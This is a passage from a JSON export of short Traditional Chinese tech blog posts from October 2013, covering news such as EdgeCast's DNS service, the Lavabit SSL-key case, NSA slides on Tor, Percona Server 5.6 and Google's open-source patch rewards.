    "body": "<a href=\"http://www.zite.com/\">Zite</a> 上看到 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 也要進入 DNS 服務這個市場了：「<a href=\"http://techcrunch.com/2013/10/03/edgecast-route/\">CDN Provider EdgeCast Gets Into The DNS Market With Launch Of EdgeCast Route</a>」。\r\n\r\n<img src=\"//i.imgur.com/E97dL9O.png\" alt=\"\" />\r\n\r\n服務的頁面已經公開，並且公開價錢：「<a href=\"http://www.edgecast.com/services/route-managed-dns/\">Managed DNS Provider | Outsourced DNS Service | Route | EdgeCast</a>」，服務分成三種：\r\n\r\n<h2>Standard Routing</h2>\r\n\r\n利用 EdgeCast 的 IP Anycast Network 服務。每百萬個 query 是 USD$0.4 (超過十億個 query 的部份降到半價 USD$0.2)。\r\n\r\n<h2>Adaptive Availability</h2>\r\n\r\n除了 IP Anycast Network 外，還可以設定 health check 與 ratio (以達到 load sharing 的功能)。每百萬個 query 是 USD$0.6 (超過十億個 query 的部份降到半價 USD$0.3)。\r\n\r\n<h2>Advanced Policy Routing</h2>\r\n\r\n可以依照這些條件分析：GeoIP、GeoCountry、GeoCity、ASN、IP Group、Network Groups、Anycast PoPs 或是 IP Type。每百萬個 query 是 USD$1.5 (超過十億個 query 的部份降到 USD$1)。\r\n\r\n另外價錢還有 zone 的部份。前面 50 個 zone 是 USD$50/month (算是低消吧？)，後面每 50 個 zone 是 USD$35/month。而 health check 的部份是每個 USD$0.5/month。\r\n\r\n可以設這麼細，而且又取這個名字，算是跟 <a href=\"http://aws.amazon.com/route53/\">Amazon Route 53</a> 打對台？不過那個 Geo 系列以及 ASN 的部份看起來不賴啊，以前是自己寫 DNS resolver 處理這部份，把國外流量指到 CDN 上，然後台灣流量放在台灣的機房 (因為 CDN 不一定有台灣機房的 PoP)。\r\n\r\n找機會來看看效果如何...",
    "title": "EdgeCast 提供的 DNS 服務：EdgeCast Route"
  },
  {
    "id": "3694",
    "body": "標題不知道怎麼下比較好...\r\n\r\n一樣是在 <a href=\"http://www.zite.com/\">Zite</a> 上看到的消息，<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 將引入內建的 Flash Player，是以 JavaScript 實做的：「<a href=\"http://gemal.dk/blog/2013/10/02/html5_flash_player_shumway_landed/\">HTML5 Flash Player (Shumway ) landed</a>」。\r\n\r\n專案在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/mozilla/shumway\">mozilla/shumway</a>，<a href=\"https://bugzilla.mozilla.org/\">Mozilla 的 Bugzilla</a> 則是在「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=904346\">Bug 904346 - (shumway) [meta] add built-in SWF support to Firefox with Shumway</a>」這裡。\r\n\r\n純 JavaScript 的實做版本，有機會 porting 到 Chrome 上嗎？感覺安全性問題會少很多？(或是被發現安全性問題的時間？)",
    "title": "Firefox 以 JavaScript 支援 Flash"
  },
  {
    "id": "3696",
    "body": "國內外資安研討會上都愛玩的主題：封包測錄分析。\r\n\r\n這次是 <a href=\"http://2013.brucon.org/\">BruCON 2013</a> 的記錄，有兩篇：「<a href=\"http://blog.rootshell.be/2013/09/29/brucon-0x05-wrap-up/\">BruCON 0×05 Wrap Up</a>」、「<a href=\"http://blog.rootshell.be/2013/10/02/what-do-attendees-during-a-security-conference/\">What Do Attendees During a Security Conference?</a>」。\r\n\r\n第一篇首先是依照 OS 數量的分析：\r\n\r\n<img src=\"//i.imgur.com/8t0CDmS.png\" alt=\"\" />\r\n\r\n另外還有整體的數量分析：\r\n\r\n<img src=\"//i.imgur.com/DWpEd63.png\" alt=\"\" />\r\n\r\n另外發現有大量的 <a href=\"http://openvpn.net/\">OpenVPN</a> 以及 <a href=\"https://zh.wikipedia.org/wiki/IPsec\">IPsec</a> 封包，這也的確是資安研討會應該要出現的東西... XD\r\n\r\n第二篇的分析也很有趣，像是對 DNS 的分析：\r\n\r\n<img src=\"//i.imgur.com/PW4LLTz.png\" alt=\"\" />\r\n\r\n大紅點是官方提供的 DNS (10.4.0.1)，兩個小紅點是 <a href=\"https://www.google.com/\">Google</a> 提供的 DNS 服務 (8.8.8.8 與 8.8.4.4)，而黃點則是 <a href=\"https://en.wikipedia.org/wiki/Multicast_DNS\">mDNS</a>。\r\n\r\n然後官方有提供兩包 50GB 的檔案... 要分析的人也可以拿去玩 XD\r\n\r\n然後提到 <a href=\"http://www.bro.org/\">The Bro Network Security Monitor</a>，找機會玩看看好了...",
    "title": "資安研討會上的封包測錄..."
  },
  {
    "id": "3698",
    "body": "<a href=\"https://puppetlabs.com/\">Puppet</a> 寫了一份新的入門文件：「<a href=\"https://puppetlabs.com/blog/check-out-our-new-beginners-guide-writing-modules\">Check Out Our New Beginner's Guide to Writing Modules</a>」，實際的文件在「<a href=\"http://docs.puppetlabs.com/guides/module_guides/bgtm.html\">Beginner's Guide to Modules</a>」這裡。\r\n\r\n文件不是給完全新碰 Puppet 的人讀的，你還是必須先知道基本的結構，這部份可以看「<a href=\"http://docs.puppetlabs.com/learning/\">Learning Puppet</a>」這份，尤其是名詞定義的部份。\r\n\r\n看過一次後覺得是從不同面向解釋 Puppet，跟原來的那份文件互補。最近剛好會用到...",
    "title": "Puppet 新給的入門文件"
  },
  {
    "id": "3701",
    "body": "一樣是在 <a href=\"http://www.zite.com/\">Zite</a> 上看到在分享要如何設計 API 的文章與影片：「<a href=\"http://blog.parse.com/2013/10/02/parse-developer-day-video-series-how-to-design-great-apis/\">Parse Developer Day Video Series: How to Design Great APIs</a>」。\r\n\r\n<iframe width=\"640\" height=\"480\" src=\"//www.youtube.com/embed/qCdpTji8nxo\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n算是觀念性的分享，很多觀念很有趣... 而不可避免的，講到 naming 的時候，<a href=\"http://php.net/\">PHP</a> 又被拿出來婊... (沒辦法，這個程式語言的 naming 實在太經典 XD)",
    "title": "如何設計好的 API"
  },
  {
    "id": "3703",
    "body": "前幾天解密的文件證實了先前的傳言：美國法院可以以協助犯罪搜查的名義，強制商業公司交出 SSL Private Key 給 <a href=\"http://www.fbi.gov/\">FBI</a>，並且可以用「偵查犯罪中」的理由要求公司不得公開這件事情。\r\n\r\n報導在這：「<a href=\"http://www.wired.com/threatlevel/2013/10/lavabit_unsealed/\">Edward Snowden’s E-Mail Provider Defied FBI Demands to Turn Over Crypto Keys, Documents Show</a>」，解密的文件 (整個系列的文件) 則在「<a href=\"https://www.documentcloud.org/documents/801182-redacted-pleadings-exhibits-1-23.html\">Redacted Pleadings Exhibits 1 23</a>」這邊可以讀到。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Edward Snowden</a> 的 E-mail 服務提供商 <a href=\"http://lavabit.com/\">Lavabit</a> 在七月時被法院要求配合調查，其中被要求交出 SSL Private Key：\r\n\r\n<blockquote>A week later, prosecutors upped the ante and obtained the search warrant demanding “all information necessary to decrypt communications sent to or from the Lavabit e-mail account [redacted] including encryption keys and SSL keys.”</blockquote>\r\n\r\n而且「交出 SSL key 這件事情」不得公開：\r\n\r\n<blockquote>The judge also rejected Lavabit’s motion to unseal the record. “This is an ongoing criminal investigation, and there’s no leeway to disclose any information about it.”</blockquote>\r\n\r\n而 Lavabit 最後決定以紙本形式提供：\r\n\r\n<blockquote>In an interesting work-around, Levison complied the next day by turning over the private SSL keys as an 11 page printout in 4-point type. The government, not unreasonably, called the printout “illegible.”</blockquote>\r\n\r\n在法院要求提供電子格式後，Levison (Lavabit 的頭) 決定讓 Lavabit 停止服務，同時因為受限封口令，網站上只能寫得很隱晦，表達對美國的不信任：\r\n\r\n<img src=\"//i.imgur.com/c7Dno49.png\" alt=\"\" />\r\n\r\n這件事情預定要到第四巡迴庭去打：「<a href=\"https://rally.org/lavabit\">Let&#x27;s rally for Lavabit to fight for the privacy rights of the American people. | Rally.org</a>」。",
    "title": "美國法院可以強制公司交出 SSL Private Key..."
  },
  {
    "id": "3708",
    "body": "剛剛在 <a href=\"http://www.zite.com/\">Zite</a> 上看到<a href=\"http://www.microsoft.com/\">微軟</a>希望 <a href=\"http://www.htc.com/\">HTC</a> 能夠將 Windows 移植到 <a href=\"http://www.android.com/\">Android</a> 手機上：「<a href=\"http://www.bloomberg.com/news/2013-10-04/microsoft-said-to-ask-htc-to-put-windows-on-more-phones.html\">Microsoft Said to Ask HTC for Windows on Android Phones</a>」。\r\n\r\n這個想法... 很有趣啊？不過效果就不知道會怎麼樣...\r\n\r\n而 2013-Q2 智慧型手機的出貨市佔數據可以在 <a href=\"http://www.gartner.com/\">Gartner</a> 這邊翻到參考資訊：「<a href=\"http://www.gartner.com/newsroom/id/2573415\">Gartner Says Smartphone Sales Grew 46.5 Percent in Second Quarter of 2013 and Exceeded Feature Phone Sales for First Time</a>」。\r\n\r\n<img src=\"//i.imgur.com/KJLKxLK.png\" alt=\"\" />\r\n\r\nAndroid 是 79%，<a href=\"http://www.apple.com/ios/\">iOS</a> 是 14.2%，Microsoft 系統是 3.3%，<a href=\"http://www.blackberry.com/\">Blackberry</a> 是 2.7%。",
    "title": "微軟跟 HTC 討論在 Android 上跑 Windows 的可行性..."
  },
  {
    "id": "3713",
    "body": "居然沒跟到這個消息...\r\n\r\n「<a href=\"http://opensource.hk/\">香港開源年會 2013</a>」(第一屆！) 將於 10 月 19 日在<a href=\"http://www.cityu.edu.hk/\">香港城市大學</a>邵逸夫創意媒體中心舉辦，現在訂機票有點晚，不過還是可以過去交流...\r\n\r\n其實有些議程還蠻有興趣去交流的，不過剛好卡到員工旅遊啊... @_@\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/10066527626/\"><img src=\"http://farm6.staticflickr.com/5467/10066527626_a605c27567_o.jpg\" alt=\"\" /></a>\r\n\r\n該來找日本的 conference 了？@_@",
    "title": "香港開源年會 2013"
  },
  {
    "id": "3715",
    "body": "<a href=\"http://www.theguardian.com/\">衛報</a>網站上公開了 <a href=\"http://www.nsa.gov/\">NSA</a> (美方) 以及 <a href=\"http://www.gchq.gov.uk/\">GCHQ</a> (英方) 如何對抗 <a href=\"https://www.torproject.org/\">Tor</a> 的方式，包含了內部的投影片：「<a href=\"http://www.theguardian.com/world/interactive/2013/oct/04/tor-stinks-nsa-presentation-document\">'Tor Stinks' presentation – read the full document</a>」。\r\n\r\n投影片上可以看到，居然還有 workshop 可以參加...\r\n\r\n<img src=\"//i.imgur.com/EDvRvL5.png\" alt=\"\" />\r\n\r\n下面列出這份投影片的內容，要注意這是 2012 年的資訊了。\r\n\r\n<h2>事實的介紹</h2>\r\n\r\n<img src=\"//i.imgur.com/mKXxQEy.png\" alt=\"\" />\r\n\r\n先說明了不可能辨識出所有 Tor 使用者，只能透過人工找出少數的使用者。\r\n\r\n<img src=\"//i.imgur.com/NkaBGL3.png\" alt=\"\" />\r\n\r\n接下來說明了目前的概況。目前只能掌握少數的 Tor 節點，其中 entry node 與 exit node 會是辨識出 Tor 使用者的重點，如果能夠增加這些節點的數量，會對於辨識有很大的幫助。\r\n\r\n<h2>要如何分析這些資訊</h2>\r\n\r\n<img src=\"//i.imgur.com/6O0Ccab.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/2r5JK2K.png\" alt=\"\" />\r\n\r\n透過 cookie 的交叉比對，有機會將 Tor 使用者與真實世界的流量連接起來，像是透過 DoubleclickID 這個值。\r\n\r\n<img src=\"//i.imgur.com/DvBjmXa.png\" alt=\"\" />\r\n\r\n接下來是想辦法建立資料庫，將 IP 與時間點的對應建立起來。利用這些資訊才有辦法知道這個 IP 的情況。\r\n\r\n<h2>技術分析</h2>\r\n\r\n接下來可以看到各種技術分析。包括對 Hidden Service 的攻擊 (2012 年當時沒有進度)，另外試著用 Timing Attack 攻擊 (2012 年當時也沒有進度，不過有在研究了)。\r\n\r\n另外在 <a href=\"http://aws.amazon.com/\">AWS</a> 上建立節點也是 2012 年當時就進行的項目。\r\n\r\n<h2>攻擊 Tor</h2>\r\n\r\n各種攻擊手段，包含了如果有 ISP 可以配合攔截封包時的作法。以及攻擊不屬於自己的節點的方式。再來就是有沒有辦法癱瘓 Tor 節點...\r\n\r\n<h2>總結</h2>\r\n\r\n情報單位其實花了非常多力氣研究 Tor，但沒有很好的成果。Tor 算是直接再技術上 (數學上) 抵抗的相當頑強。這部內部文件流出後可以預期會有不少「應用」(只要是英美政府不喜歡的「應用」) 會往上發展。\r\n\r\n多增加 Tor 的節點看起來會是目前最直接的抵抗方式，而且這個抵抗方式對於一般人相對容易，達到了擴散容易的效果。",
    "title": "NSA 與 GCHQ 對抗 Tor 的方式"
  },
  {
    "id": "3719",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 文摘上看到「<a href=\"http://www.postgresqlstudio.org/\">PostgreSQL Studio</a>」這個軟體，看官網與畫面大概知道能做什麼事情：\r\n\r\n<img src=\"//i.imgur.com/2pKki7n.png\" alt=\"\" />\r\n<small>官網的 screenshot...</small>\r\n\r\n看起來要做掉不少 <a href=\"http://phppgadmin.sourceforge.net/\">phpPgAdmin</a> 的事情，但畫面漂亮不少：\r\n\r\n<img src=\"//i.imgur.com/SKWo7AI.png\" alt=\"\" />\r\n<small>phpPgAdmin 官網的 screenshot...</small>\r\n\r\n不過 PostgreSQL Studio 是用 Java 寫的，要用 <a href=\"http://tomcat.apache.org/\">Apache Tomcat</a> (或是其他 servlet 實做) 執行，先丟著好了...",
    "title": "PostgreSQL Studio (phpPgAdmin 替代品？)"
  },
  {
    "id": "3722",
    "body": "前幾天看到 <a href=\"https://www.google.com/\">Google</a> 開源的 <a href=\"https://github.com/google/lmctfy/\">lmctfy</a> (這名字還頗惡趣味，是「Let Me Contain That For You」的縮寫)，是這樣介紹的：\r\n\r\n<blockquote>lmctfy is the open source version of Google’s container stack, which provides Linux application containers.</blockquote>\r\n\r\n看了一下說明，看起來跟 <a href=\"https://www.docker.io/\">Docker</a> 有點像啊？再查了查網路上的資料，發現有人更早之前寫過了：「<a href=\"http://www.kankanews.com/ICkengine/archives/55517.shtml\">lmctfy：Google的开源Linux容器</a>」。\r\n\r\n如果是在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04 上，需要 3.3 或 3.8 的 <a href=\"https://www.kernel.org/\">Linux kernel</a>。不過目前 Docker 還夠用，應該不會花時間去研究這個...",
    "title": "Google 開源的 lmctfy..."
  },
  {
    "id": "3724",
    "body": "今天的 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 文摘上看到關於 Reflow 的問題：「<a href=\"http://wilsonpage.co.uk/preventing-layout-thrashing/\">Preventing 'layout thrashing'</a>」。\r\n\r\nReflow 指的是改變 DOM 後造成的畫面重新計算以及 render。\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 有給過一些資訊：「<a href=\"https://developers.google.com/speed/articles/reflow\">Minimizing browser reflow</a>」，<a href=\"http://www.mozilla.org/\">Mozilla</a> 也有給「<a href=\"http://www.mozilla.org/newlayout/doc/reflow.html\">Notes on HTML Reflow</a>」，不過這兩篇都是概念性的文章...\r\n\r\n文章的作者寫了 <a href=\"https://github.com/wilsonpage/fastdom\">FastDom</a>，把 read 與 write 包起來一起處理 (read 一包，write 一包)，不過這樣寫的時候就要小心當下真正的 DOM 的值了...\r\n\r\n不過如果只是處理 ordering 的問題，叫 FastDom 好像怪怪的...",
    "title": "避免文件大量 Reflow..."
  },
  {
    "id": "3726",
    "body": "<strong>Update</strong>：<a href=\"http://www.percona.com/\">Percona</a> 自己也寫了一篇「<a href=\"http://www.mysqlperformanceblog.com/2013/10/08/a-closer-look-at-percona-server-5-6/\">A closer look at Percona Server 5.6</a>」可以參考看看。\r\n\r\nPercona 推出 <a href=\"http://www.percona.com/software/percona-server\">Percona Server</a> 5.6.13-61.0，是 5.6 的第一個 GA 版本：「<a href=\"http://www.mysqlperformanceblog.com/2013/10/07/percona-server-5-6-13-61-0-first-ga-release-is-now-available/\">Percona Server 5.6.13-61.0 first GA release is now available</a>」。\r\n\r\n這等好久了，MySQL 官方有給出「<a href=\"http://dev.mysql.com/tech-resources/articles/whats-new-in-mysql-5.6.html\">What's New in MySQL 5.6</a>」，對我來說其中有幾個亮點需要測試：\r\n\r\n<h2>效能</h2>\r\n\r\n至少不能比現在的效能差。\r\n\r\n<h2>對 memcache protocol 的支援</h2>\r\n\r\n這是 5.6 的新功能，可以透過 memcache protocol 存取 InnoDB 的資料。如果可行，可以用在 HA memcache protocol 架構。\r\n\r\n<h2>Time-Delayed Replication</h2>\r\n\r\n看起來應該很有用，但一時間想不到可以用在哪裡... 應該是 vm 裡面多架幾台 slave 丟著？\r\n\r\n<h2>Percona 版的修正</h2>\r\n\r\n<a href=\"https://twitter.com/\">Twitter</a> branch 的 <a href=\"http://www.percona.com/doc/percona-server/5.6/management/statement_timeout.html\">Statement Timeout</a> 看起來是個頗有趣的項目？可以想看看用在哪裡...\r\n\r\n<h2>Overall...</h2>\r\n\r\n總結來說，測試機測過後，先用在 <a href=\"http://www.drbd.org/\">DBRD</a> + <a href=\"http://linux-ha.org/wiki/Heartbeat\">Heartbeat</a> 的系統上 (只換一台，如果發現 5.6 版不好用，可以 downgrade)，如果沒問題就再測試 memcache protocol，然後接下來就是等 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 也出 5.6 版？",
    "title": "Percona Server 第一個 5.6 上 GA 版本..."
  },
  {
    "id": "3731",
    "body": "在「<a href=\"http://blog.gslin.org/archives/2013/10/05/3703/%E7%BE%8E%E5%9C%8B%E6%B3%95%E9%99%A2%E5%8F%AF%E4%BB%A5%E5%BC%B7%E5%88%B6%E5%85%AC%E5%8F%B8%E4%BA%A4%E5%87%BA-ssl-private-key/\">美國法院可以強制公司交出 SSL Private Key...</a>」這篇提到法院文件顯示 <a href=\"http://lavabit.com/\">Lavabit</a> 的 SSL Certificate 已經被 <a href=\"http://www.fbi.gov/\">FBI</a> 拿走。\r\n\r\n消息公開後幾天，<a href=\"http://www.godaddy.com/\">GoDaddy</a> 終於記得要依照程序，主動把 Lavabit 的 SSL Certificate 撤銷：「<a href=\"http://www.forbes.com/sites/kashmirhill/2013/10/09/godaddy-pulls-lavabits-security-creds-because-the-government-got-ahold-of-its-encryption-keys/\">GoDaddy Pulls Lavabit's Security Creds Because The FBI Got Ahold Of Its Encryption Keys</a>」。\r\n\r\n巡迴庭的消息好像還沒出來...",
    "title": "GoDaddy 將 Lavabit 的 SSL Certificate 撤銷了..."
  },
  {
    "id": "3733",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://blog.tka.lu/\">tka</a> 的 retweet，介紹了 <a href=\"http://www.linux.org/\">Linux</a> 下 Disk I/O 的調整：「<a href=\"http://www.cybertec.at/postgresql-linux-kernel-io-tuning/\">PostgreSQL: Linux kernel I/O tuning</a>」。\r\n\r\n文章裡介紹了三種 scheduler，NOOP、CFQ、Deadline，其中 CFQ 是系統預設值。\r\n\r\n其實 <a href=\"http://dev.mysql.com/\">MySQL</a> 的結論也差不多，<a href=\"http://www.percona.com/\">Percona</a> 在 2009 年的時候做過 benchmark，就直接看圖講故事吧：「<a href=\"http://www.mysqlperformanceblog.com/2009/01/30/linux-schedulers-in-tpcc-like-benchmark/\">Linux schedulers in tpcc like benchmark</a>」。\r\n\r\n<img src=\"//i.imgur.com/CAL8t23.png\" alt=\"\" />\r\n<small>數字愈大愈好。</small>\r\n\r\nnoop 與 deadline 相當接近，對於 i/o bound 的人都應該要調整 :p",
    "title": "關於 Linux 的 Disk I/O 調整..."
  },
  {
    "id": "3735",
    "body": "如標題：「<a href=\"https://news.ycombinator.com/item?id=6527104\">Poll: What are your liked and disliked programming languages?</a>」。\r\n\r\n直接看這張圖比較明顯：\r\n\r\n<img src=\"//i.imgur.com/toGKy21.jpg\" alt=\"\" />\r\n\r\n居然是 <a href=\"http://msdn.microsoft.com/vbasic/\">VB</a>... XDDD\r\n\r\n不過 <a href=\"http://www.php.net/\">PHP</a> 與 <a href=\"http://www.java.com/\">Java</a> 也沒好到哪裡去就是了...",
    "title": "Hacker News 上對程式語言的投票..."
  },
  {
    "id": "3737",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 的 Database Engineering team 實作了 patch，讓 InnoDB 在 table scan 的速度大幅提昇：「<a href=\"http://yoshinorimatsunobu.blogspot.com/2013/10/making-full-table-scan-10x-faster-in.html\">Making full table scan 10x faster in InnoDB</a>」。\r\n\r\n第一個 patch 叫做 Logical Readahead。第二個 patch 是針對 async i/o 的改善 (Submitting multiple async I/O requests at once)。\r\n\r\n引用文章內的幾段話就知道這幾個 patch 的功力了：\r\n\r\n<blockquote>Logical backup size is much smaller. 3x-10x size difference is not uncommon.</blockquote>\r\n\r\n備份出來的資料會變小，而且宣稱 1/3 到 1/10 不是罕見情況... -_-\r\n\r\n<blockquote>With logical readahead, our full table scan speed improved 9~10 times than before under usual production workloads. Under heavy production workloads, full table scan speed became 15~20 times faster.</blockquote>\r\n\r\n然後 table scan 的速度會快非常多... 10 倍？如果是平常就很操的 database 會更明顯？\r\n\r\n如果這幾個 patch 如果沒有什麼問題，可以預期會被 merge 到 <a href=\"http://www.percona.com/\">Percona</a> 與 <a href=\"https://mariadb.org/\">MariaDB</a>，至於 <a href=\"http://www.oracle.com/\">Oracle</a> 官方的 source tree... 有的話當然很好，沒有的話也很正常？",
    "title": "Facebook 的 InnoDB patch 讓 table scan 速度變快..."
  },
  {
    "id": "3739",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 的 Reserved Instance 可以換來換去升降級：「<a href=\"http://aws.typepad.com/aws/2013/10/new-modify-instance-type-of-ec2-reserved-instance.html\">New - Modify Instance Type of EC2 Reserved Instance</a>」。\r\n\r\n首先先把 Reserved Instance 的種類換成 unit：\r\n\r\n<img src=\"//i.imgur.com/kPnRxvx.png\" alt=\"\" />\r\n\r\n於是一台 m1.large 就是 4，可以換成四台 m1.small；反過來四台 m1.small 也可以換成一台 m1.large。\r\n\r\n要注意的是，這不表示一定會換成功...",
    "title": "Amazon EC2 的 Reserved Instance 可以升降級..."
  },
  {
    "id": "3741",
    "body": "<a href=\"http://www.t-mobile.com/\">T-Mobile</a> 將要推出國際漫遊單一費率的資費方案：「<a href=\"http://news.cnet.com/8301-1035_3-57606784-94/t-mobile-to-offer-free-unlimited-international-data-texts/\">T-Mobile to offer free unlimited international data, texts</a>」。\r\n\r\n引用裡面的文字：\r\n\r\n<blockquote>T-Mobile's latest shake-up puts international roaming rates in its sights, with the carrier eliminating fees for data and text messages entirely in more than 100 countries. It will also simplify the calling rates, charging a fixed rate of 20 cents per minute.</blockquote>\r\n\r\n語音的部份，每分鐘新台幣 6 元？\r\n\r\n不過 unlimited international data 是有速度限制的：\r\n\r\n<blockquote>Chief Marketing Officer Mike Sievert said the average speed customers would get would be around 128 kilobits a second.</blockquote>\r\n\r\n如果要速度，多付錢可以解決問題：\r\n\r\n<blockquote>T-Mobile hopes to make some of its money back with \"speed packs\" that customers can purchase on the fly to boost their connection speed temporarily. For $15, a customer gets a single day's worth of high-speed data up to 100 megabytes, while $20 gets one week at 200 megabytes and $50 gets two weeks and 500 megabytes. The speeds are more accustomed to T-Mobile's HSPA+ networks, since international roaming with LTE isn't broadly available.</blockquote>\r\n\r\n在官方網站的「<a href=\"http://www.t-mobile.com/simple-choice-international-plans.html\">Simple Choice International Plans | Unlimited Data &amp; Text | T-Mobile</a>」上面寫的更清楚：\r\n\r\n<blockquote>Only T-Mobile’s network can give you unlimited everything for everyone. Other carriers may even make you share minutes, messages, and data between you and your family. With the Simple Choice Plan, each line comes with unlimited talk, text, and data while on our home network—and starting October 20, unlimited data and text in over 100 countries at no extra charge. That means no overages just about anywhere you go. Plus, there's no annual service contract and it's easy to add additional lines.</blockquote>\r\n\r\n現有用戶在漫遊時直接受益...\r\n\r\n不知道外國人辦這個划不划算，尤其是常常跑去國外的...",
    "title": "T-Mobile 提供國際漫遊單一費率..."
  },
  {
    "id": "3744",
    "body": "還沒投票前就有選舉結果了：「<a href=\"http://www.washingtonpost.com/blogs/worldviews/wp/2013/10/09/oops-azerbaijan-released-election-results-before-voting-had-even-started/\">Oops: Azerbaijan released election results before voting had even started</a>」。\r\n\r\n麻煩來台灣考察一下好嗎...\r\n\r\n<img src=\"//i.imgur.com/uGVTH7e.jpg\" alt=\"\" />",
    "title": "亞塞拜然的總統選舉出包了..."
  },
  {
    "id": "3746",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"https://www.google.com/\">Google</a> 將發現安全問題的獎勵從自家產品延伸到 Open Source 專案上：「<a href=\"http://linux.slashdot.org/story/13/10/10/1445243/google-offers-cash-for-security-fixes-to-linux-and-other-foss-projects\">Google Offers Cash For Security Fixes To Linux and Other FOSS Projects</a>」。\r\n\r\n官方的公告在「<a href=\"http://googleonlinesecurity.blogspot.com/2013/10/going-beyond-vulnerability-rewards.html\">Going beyond vulnerability rewards</a>」，規則則是在「<a href=\"https://www.google.com/about/appsecurity/patch-rewards/\">Patch Rewards – Application Security – Google</a>」。\r\n\r\n初期限制在這些專案上：(直接複製過來)\r\n<ul>\r\n\t<li>Core infrastructure network services: OpenSSH, BIND, ISC DHCP</li>\r\n\t<li>Core infrastructure image parsers: libjpeg, libjpeg-turbo, libpng, giflib</li>\r\n\t<li>Open-source foundations of Google Chrome: Chromium, Blink</li>\r\n\t<li>Other high-impact libraries: OpenSSL, zlib</li>\r\n\t<li>Security-critical, commonly used components of the Linux kernel (including KVM)</li>\r\n</ul>\r\n獎勵金額從 USD$500 到 USD$3133.7，這邊的 31337 應該是出自「<a href=\"https://zh.wikipedia.org/wiki/Leet\">Leet</a>」吧...\r\n\r\n這算是一種回饋社群的方式...",
    "title": "Google 將發現安全問題的獎勵延伸到 Open Source 專案上..."
  },
  {
    "id": "3749",
    "body": "<a href=\"https://www.google.com\">Google</a> 將在今年 11 月 11 日更新服務條款：「<a href=\"https://www.google.com/policies/terms/changes/\">《服務條款》更新</a>」，其中最重要的是：\r\n\r\n<blockquote>釐清您的個人資料名稱和相片如何顯示在 Google 產品上 (包括評論、廣告和其他商業內容)。</blockquote>\r\n\r\n可以到「<a href=\"https://plus.google.com/settings/endorsements\">分享推薦</a>」裡關掉：\r\n\r\n<img src=\"//i.imgur.com/aCzYDJe.png\" alt=\"\" />",
    "title": "Google 的服務條款更新了..."
  },
  {
    "id": "3752",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的人寫了一篇「<a href=\"http://www.mysqlperformanceblog.com/2013/10/15/using-keepalived-ha-top-percona-xtradb-cluster/\">Using keepalived for HA on top of Percona XtraDB Cluster</a>」，是用 <a href=\"http://www.keepalived.org/\">Keepalived</a> 實作高可靠度架構。\r\n\r\n目前常見的文章是透過 <a href=\"http://haproxy.1wt.eu/\">HAProxy</a> 達成，但 HAProxy 本身就會成為 SPOF，所以一般人的想法就是在 HAProxy 上跑 Keepalived，保持可靠度。但這個問題我之前就抱怨過，既然要跑 Keepalived (我的例子裡是 <a href=\"http://linux-ha.org/wiki/Heartbeat\">Heartbeat</a>)，為什麼不在 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 上跑就好，load balance 的任務則可以透過 DNS round robin 達成：\r\n\r\n<blockquote>We would standardly use keepalived to HA HAproxy, and keepalived supports track_scripts that can monitor whatever we want, so why not just monitor PXC directly?</blockquote>\r\n\r\n不過我還是偏愛 Heartbeat，因為 Heartbeat 的功能多了一些，不過架構還是很簡單，實際用起來也發現不容易出問題。\r\n\r\n另外 Heartbeat 不論是在 <a href=\"http://www.linux.org/\">Linux</a> 還是 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上都跑得很好，我連內部機器用的 DNS resolver (跑 <a href=\"http://unbound.net/\">Unboound</a>) 都上 Heartbeat。\r\n\r\n另外也因為 Keepalived 目前不支援 FreeBSD (參考「<a href=\"http://lists.freebsd.org/pipermail/freebsd-ports/2013-July/084909.html\">About \"ipvs\" and \"keepalived\"</a>」這篇文章)，所以也沒打算花時間測試了... :o",
    "title": "Percona XtraDB Cluster 上用 keepalived 實作高可靠度架構"
  },
  {
    "id": "3754",
    "body": "試著找出處，看起來是 <a href=\"https://twitter.com/\">Twitter</a>：\r\n\r\n<blockquote class=\"twitter-tweet\"><p>【黒板の落書きがヤバイ⑥】最後の晩餐 <a href=\"http://t.co/p1lycWZMWi\">pic.twitter.com/p1lycWZMWi</a></p>&mdash; 学生伝説記 ∞ (@warolintyo) <a href=\"https://twitter.com/warolintyo/statuses/336816340407037953\">May 21, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n經典的「<a href=\"https://zh.wikipedia.org/wiki/%E6%9C%80%E5%90%8E%E7%9A%84%E6%99%9A%E9%A4%90\">最後的晚餐</a>」，原圖是：\r\n\r\n<img src=\"//i.imgur.com/JWOvemJ.jpg\" alt=\"\" />\r\n\r\n呼～",
    "title": "黑板塗鴉..."
  },
  {
    "id": "3756",
    "body": "名聲不怎麼好的 <a href=\"http://www.godaddy.com/\">GoDaddy</a> 買下 <a href=\"http://mediatemple.net/\">Media Temple</a>：「<a href=\"http://weblog.mediatemple.net/2013/10/15/momentous-news-godaddy-mt-media-temple/\">Momentous news: GoDaddy &amp; (mt) Media Temple</a>」。\r\n\r\n文章下面的 comment 滿滿的憤怒啊... 反正對 mt 的 co-founder 而言，也是脫手了？",
    "title": "GoDaddy 買下 Media Temple..."
  },
  {
    "id": "3758",
